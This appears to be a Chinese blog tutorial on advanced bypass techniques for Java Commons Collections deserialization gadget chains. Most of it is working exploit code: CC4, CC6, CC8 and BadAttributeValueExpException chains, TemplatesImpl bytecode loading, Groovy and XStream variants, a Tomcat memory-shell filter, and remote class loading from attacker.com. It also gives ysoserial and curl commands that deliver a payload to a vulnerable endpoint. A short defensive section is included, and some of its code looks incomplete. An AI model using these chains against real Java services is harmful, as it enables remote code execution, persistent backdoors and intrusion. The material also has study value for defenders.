一、JDK 高版本绕过(针对 8u71+ 的修复)
1. CC6 链构造技巧
// 使用 TiedMapEntry 替代 AnnotationInvocationHandler
Transformer chain = new ChainedTransformer(new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"})
});
Map lazyMap = LazyMap.decorate(new HashMap(), chain);
TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo");
// 通过反射触发
HashSet hashSet = new HashSet(1);
hashSet.add("bar");
// 反射修改 HashSet 内部结构
Field tableField = HashSet.class.getDeclaredField("map");
tableField.setAccessible(true);
HashMap internalMap = (HashMap) tableField.get(hashSet);
Field entryField = HashMap.class.getDeclaredField("table");
entryField.setAccessible(true);
Object[] table = (Object[]) entryField.get(internalMap);
Object node = table[0];
Field keyField = node.getClass().getDeclaredField("key");
keyField.setAccessible(true);
keyField.set(node, entry); // 将恶意对象注入HashSet
// 序列化触发
serialize(hashSet);
绕过原理:
-
利用
TiedMapEntry.getValue()
自动调用LazyMap.get()
的特性 -
通过修改
HashSet
内部存储结构绕过AnnotationInvocationHandler
限制
二、黑名单过滤绕过
1. 非常规 Transformer 组合
// 使用 Commons Collections 的其它类构造链
Transformer[] chain = new Transformer[]{
new ConstantTransformer(javax.script.ScriptEngineManager.class),
new InvokerTransformer("newInstance", null, null),
new InvokerTransformer("getEngineByName",
new Class[]{String.class},
new Object[]{"JavaScript"}),
new InvokerTransformer("eval",
new Class[]{String.class},
new Object[]{"java.lang.Runtime.getRuntime().exec('calc')"})
};
2. 结合 XStream 别名绕过
<!-- 利用 XStream 的别名机制隐藏类名 -->
<xstream>
<alias name="harmless" type="org.apache.commons.collections.functors.InvokerTransformer"/>
</xstream>
<!-- 实际攻击载荷 -->
<harmless>
<iMethodName>exec</iMethodName>
<iParamTypes>
<class>java.lang.String</class>
</iParamTypes>
<iArgs>
<string>calc</string>
</iArgs>
</harmless>
三、无文件落地攻击
1. 内存马注入(Tomcat Filter 型)
Transformer[] memShellChain = new Transformer[]{
new ConstantTransformer(Thread.currentThread().getContextClassLoader()),
new InvokerTransformer("loadClass",
new Class[]{String.class},
new Object[]{"javax.servlet.Filter"}),
new InvokerTransformer("getMethod",
new Class[]{String.class, Class[].class},
new Object[]{"addFilter", new Class[]{String.class, Filter.class}}),
new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[]{"evilFilter", new MaliciousFilter()}})
};
2. JNDI 远程类加载
// 结合 Log4j2 漏洞的混合利用
Transformer[] jndiChain = new Transformer[]{
new ConstantTransformer(JndiLookup.class),
new InvokerTransformer("lookup",
new Class[]{String.class},
new Object[]{"ldap://attacker.com/Exploit"})
};
四、字节码注入绕过
1. 使用 TemplatesImpl 加载 BCEL 字节码
// 生成恶意字节码
String bcelCode = "$$BCEL$$...";
byte[] bytecode = com.sun.org.apache.bcel.internal.classfile.Utility.decode(bcelCode, true);
// 构造 TemplatesImpl 链
TemplatesImpl templates = new TemplatesImpl();
setField(templates, "_bytecodes", new byte[][]{bytecode});
setField(templates, "_name", "Exploit");
setField(templates, "_tfactory", null);
Transformer[] bcChain = new Transformer[]{
new ConstantTransformer(templates),
new InvokerTransformer("newTransformer", null, null)
};
2. Groovy 链利用
// 利用 Groovy 的 MethodClosure
Class methodClosure = Class.forName("groovy.lang.Closure");
Object closure = methodClosure.getConstructor(Object.class, Object.class)
.newInstance(new MethodClosure("calc", "execute"), "execute");
Transformer[] groovyChain = new Transformer[]{
new ConstantTransformer(closure),
new InvokerTransformer("call", null, null)
};
五、防御对抗技巧
1. 反射黑名单绕过
// 使用 Unsafe 类绕过反射限制
Field theUnsafe = Unsafe.class.getDeclaredField("theUnsafe");
theUnsafe.setAccessible(true);
Unsafe unsafe = (Unsafe) theUnsafe.get(null);
// 直接内存操作修改访问权限
Class cls = Class.forName("java.lang.reflect.AccessibleObject");
Field overrideField = cls.getDeclaredField("override");
long offset = unsafe.objectFieldOffset(overrideField);
// 强制修改字段值
unsafe.putBoolean(chain, offset, true);
2. 动态类加载绕过
// 使用 URLClassLoader 加载远程类
Transformer[] urlChain = new Transformer[]{
new ConstantTransformer(URLClassLoader.class),
new InvokerTransformer("newInstance",
new Class[]{URL[].class},
new Object[]{new URL[]{new URL("http://attacker.com/")}}),
new InvokerTransformer("loadClass",
new Class[]{String.class},
new Object[]{"Exploit"}),
new InvokerTransformer("newInstance", null, null)
};
六、检测与防御方案
1. 防御性代码示例
// 安全反序列化实现
public class SafeObjectInputStream extends ObjectInputStream {
private static final Set<String> allowedClasses =
Set.of("java.lang.String", "java.util.HashMap");
public SafeObjectInputStream(InputStream in) throws IOException {
super(in);
}
@Override
protected Class<?> resolveClass(ObjectStreamClass desc)
throws IOException, ClassNotFoundException {
if (!allowedClasses.contains(desc.getName())) {
throw new InvalidClassException("Unauthorized class: ", desc.getName());
}
return super.resolveClass(desc);
}
}
2. 运行时防护(RASP)
// 使用 Java Agent 监控危险方法
public static class SecurityAgent {
public static void premain(String args, Instrumentation inst) {
inst.addTransformer((loader, className, classBeingRedefined,
protectionDomain, classfileBuffer) -> {
if (className.equals("java/io/ObjectInputStream")) {
ClassReader cr = new ClassReader(classfileBuffer);
ClassWriter cw = new ClassWriter(cr, ClassWriter.COMPUTE_FRAMES);
cr.accept(new ObjectInputStreamVisitor(cw), 0);
return cw.toByteArray();
}
return classfileBuffer;
});
}
}
// ASM 字节码插桩
class ObjectInputStreamVisitor extends ClassVisitor {
public MethodVisitor visitMethod(int access, String name, String desc,
String signature, String[] exceptions) {
MethodVisitor mv = super.visitMethod(access, name, desc, signature, exceptions);
if (name.equals("readObject")) {
mv.visitCode();
mv.visitMethodInsn(INVOKESTATIC, "SecurityCheck", "validateDeserialization");
mv.visitEnd();
}
return mv;
}
}
总结与验证
攻击验证命令:
# 使用 ysoserial 生成绕过 payload
java -Djdk.xml.enableTemplatesImplDeserialization=true \
-jar ysoserial.jar CommonsCollections6 "curl http://attacker.com" > payload.bin
# 发送到测试服务
curl -X POST --data-binary @payload.bin http://vulnerable-app/deserialize
审计关注点:
// 危险代码模式
ObjectInputStream.readObject()
XMLDecoder.readObject()
JSON.parseObject(input, Feature.SupportNonPublicField)
RMI Registry.bind() // 远程对象绑定
防御策略:
-
升级 Commons Collections 到 4.4+ 版本
-
使用
SerialKiller
等安全反序列化库 -
启用 SecurityManager 沙箱
-
部署 RASP 进行运行时保护
关于Java CommonsCollections 反序列化链 的进阶绕过技巧
一、CC4 链:利用PriorityQueue
与TransformingComparator
绕过原理
-
核心组件:
TransformingComparator
在 CommonsCollections4 中实现Serializable
,通过PriorityQueue
反序列化触发compare()
方法 -
优势:绕过高版本 JDK 对
AnnotationInvocationHandler
的限制,适用于 Commons-Collections 4.0
代码实现
// 构造 TemplatesImpl 恶意类
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_name", "Exploit");
byte[] code = loadEvilClassBytes(); // 加载恶意字节码
setFieldValue(templates, "_bytecodes", new byte[][]{code});
// 构建 InstantiateTransformer 触发 newTransformer()
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(
new Class[]{Templates.class},
new Object[]{templates}
)
};
ChainedTransformer chain = new ChainedTransformer(transformers);
// 配置 TransformingComparator
TransformingComparator comparator = new TransformingComparator<>(new ConstantTransformer(1));
PriorityQueue queue = new PriorityQueue<>(2, comparator);
queue.add(1);
queue.add(2);
// 反射注入真实 Transformer 链
setFieldValue(comparator, "transformer", chain);
// 序列化与反序列化触发
serialize(queue);
deserialize("payload.bin");
关键点
-
恶意类加载:通过
TemplatesImpl
直接加载字节码,绕过Runtime
不可序列化问题 -
动态注入:先初始化无害
Transformer
防止序列化时触发检测,反射替换为恶意链
二、BadAttributeValueExpException
链:利用异常类触发
绕过原理
-
触发点:
BadAttributeValueExpException
的readObject
方法调用val.toString()
-
利用链:
TiedMapEntry.getValue()
→LazyMap.get()
→ChainedTransformer.transform()
代码案例
// 构造 Transformer 链
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chain = new ChainedTransformer(transformers);
// 配置 LazyMap 与 TiedMapEntry
Map lazyMap = LazyMap.decorate(new HashMap(), chain);
TiedMapEntry entry = new TiedMapEntry(lazyMap, "trigger_key");
// 通过反射设置 BadAttributeValueExpException 的 val 属性
BadAttributeValueExpException exp = new BadAttributeValueExpException(null);
Field valField = exp.getClass().getDeclaredField("val");
valField.setAccessible(true);
valField.set(exp, entry);
// 序列化触发
serialize(exp);
优势
-
无需动态代理:直接利用异常类的反序列化流程,绕过
AnnotationInvocationHandler
依赖 -
兼容性:适用于未修复的 Commons-Collections 3.x 版本
三、CC8 链:TreeBag
与TreeMap
组合触发
绕过原理
-
核心组件:利用
TreeBag
反序列化时调用TreeMap.put()
,触发TransformingComparator.compare()
-
特性:适用于 Commons-Collections 4.0,结合
InvokerTransformer
直接调用方法
代码实现
// 配置 TemplatesImpl 恶意类(同 CC4)
TemplatesImpl templates = createEvilTemplates();
// 构建 Transformer 链
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(templates),
new InvokerTransformer("newTransformer", null, null)
};
ChainedTransformer chain = new ChainedTransformer(transformers);
// 配置 TransformingComparator
TransformingComparator comparator = new TransformingComparator<>(chain);
// 构造 TreeBag 触发链
TreeBag bag = new TreeBag(comparator);
bag.add("dummy"); // 触发 TreeMap.put()
// 序列化与反序列化
serialize(bag);
deserialize("payload.bin");
关键步骤
-
TreeBag 入口:
TreeBag.readObject()
调用父类doReadObject
,触发TreeMap.put()
-
链式触发:通过
TransformingComparator
桥接至InvokerTransformer
四、动态类加载与ClassLoader
注入
绕过原理
-
核心思路:利用
URLClassLoader
或defineClass
动态加载远程恶意类 -
优势:绕过本地代码执行检测,实现远程代码加载
代码案例
// 构造远程类加载链
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(URLClassLoader.class),
new InvokerTransformer("newInstance",
new Class[]{URL[].class},
new Object[]{new URL[]{new URL("http://attacker.com/evil.jar")}}),
new InvokerTransformer("loadClass",
new Class[]{String.class},
new Object[]{"Exploit"}),
new InvokerTransformer("newInstance", null, null)
};
ChainedTransformer chain = new ChainedTransformer(transformers);
// 后续利用链配置(如结合 LazyMap 或 PriorityQueue)
Map lazyMap = LazyMap.decorate(new HashMap(), chain);
TiedMapEntry entry = new TiedMapEntry(lazyMap, "key");
防御绕过
-
动态加载:避免直接执行敏感命令,通过加载远程类实现隐蔽攻击
-
协议扩展:支持
http
、ftp
等协议加载恶意代码
总结与演进方向
-
混合利用链:结合多个库的特性(如 Groovy、JNDI)构造跨组件攻击链
-
自动化工具:使用
GadgetInspector
扫描项目中的潜在利用节点 -
防御纵深:结合 SAST(静态分析)、IAST(交互式检测)、RASP(运行时防护)实现立体防御
4A评测 - 免责申明
本站提供的一切软件、教程和内容信息仅限用于学习和研究目的。
不得将上述内容用于商业或者非法用途,否则一切后果请用户自负。
本站信息来自网络,版权争议与本站无关。您必须在下载后的24个小时之内,从您的电脑或手机中彻底删除上述内容。
如果您喜欢该程序,请支持正版,购买注册,得到更好的正版服务。如有侵权请邮件与我们联系处理。敬请谅解!
程序来源网络,不确保不包含木马病毒等危险内容,请在确保安全的情况下或使用虚拟机使用。
侵权违规投诉邮箱:4ablog168#gmail.com(#换成@)